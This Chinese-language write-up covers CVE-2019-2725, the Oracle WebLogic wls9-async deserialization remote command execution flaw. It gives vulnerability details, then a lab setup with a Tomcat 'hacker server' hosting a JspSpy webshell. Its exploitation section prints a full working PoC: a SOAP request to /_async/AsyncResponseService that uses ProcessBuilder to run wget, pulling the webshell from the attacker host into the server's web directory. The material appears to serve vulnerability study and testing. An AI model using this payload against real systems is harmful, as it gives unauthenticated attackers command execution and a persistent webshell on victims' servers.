一、 漏洞简介
漏洞编号和级别
CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8。
CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为“高危”。
漏洞概述
2019年4月17日,国家信息安全漏洞共享平台(CNVD)收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。WebLogic是美国Oracle公司出品的Java应用服务器,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。攻击者可利用该漏洞在未授权的情况下远程执行命令。
WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。
wls9-async组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。
影响范围
WebLogic 10.X
WebLogic 12.1.3
环境介绍
服务端:Oracle weblogic 10.3.6.0(CentOS)
黑客服务器:Apache Tomcat 8.5.39
攻击端:windows系统
漏洞环境搭建
Apache Tomcat安装(黑客服务器存放webshell)
1、下载地址:(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/)
2、直接解压缩至你要安装的目录
3、安装成功后,运行startup.bat启动服务
4、访问http://HackerIP:8080,如下图启动成功。
5、模拟黑客在apache server上放置好大马,这里命名为JspSpy.jsp.txt,保证服务器可以正常访问
Oracle weblogic 10.3.6.0安装
Weblogic 的搭建这里就不太多说了,网上一搜一大把,按教程来就行,安装完成之后验证漏洞存在
测试漏洞地址http:// ip: port/_async/AsyncResponseService,这里端口是18001
也可以用namp插件进行扫描
确认漏洞环境搭建成功。
漏洞利用
服务器为linux服务器可以利用curl下载文件,
上传webshell可以利用如下方式
1 <string>wget http://HackerIP:Port/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
Poc如下:
1 POST /_async/AsyncResponseService HTTP/1.1 2 Host: IP:PORT 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 6 Accept-Encoding: gzip, deflate 7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 8 Connection: close 9 Content-Length: 859 10 Accept-Encoding: gzip, deflate 11 SOAPAction: 12 Accept: */* 13 User-Agent: Apache-HttpClient/4.1.1 (java 1.5) 14 Connection: keep-alive 15 content-type: text/xml 16 17 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" 18 xmlns:asy="http://www.bea.com/async/AsyncResponseService"> 19 <soapenv:Header> 20 <wsa:Action>xx</wsa:Action> 21 <wsa:RelatesTo>xx</wsa:RelatesTo> 22 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 23 <void class="java.lang.ProcessBuilder"> 24 <array class="java.lang.String" length="3"> 25 <void index="0"> 26 <string>/bin/bash</string> 27 </void> 28 <void index="1"> 29 <string>-c</string> 30 </void> 31 <void index="2"> 32 <string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string> 33 </void> 34 </array> 35 <void method="start"/></void> 36 </work:WorkContext> 37 </soapenv:Header> 38 <soapenv:Body> 39 <asy:onAsyncDelivery/> 40 </soapenv:Body></soapenv:Envelope>